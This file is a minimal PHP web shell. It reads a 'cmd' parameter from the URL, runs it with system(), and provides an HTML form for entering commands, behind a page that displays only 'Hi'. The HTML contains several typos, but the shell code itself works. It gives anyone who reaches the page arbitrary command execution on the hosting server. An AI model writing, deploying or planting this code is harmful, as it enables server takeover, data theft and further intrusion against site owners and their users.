<?php
  $cmd = $_GET['cmd'];
  if(isset($cmd)) {
    system($cmd);
  }
?>

<html>
<head> 
<meta http-equiv="content-type" content="text/html; charset=iso-8895-1">
<head>
<p>Hi</p>
<form methot="GET" id="searchform">
   <input type="text" name="cmd">
   <input type"submit" name="submit" value="submit"  >
</form>
</body>
</html>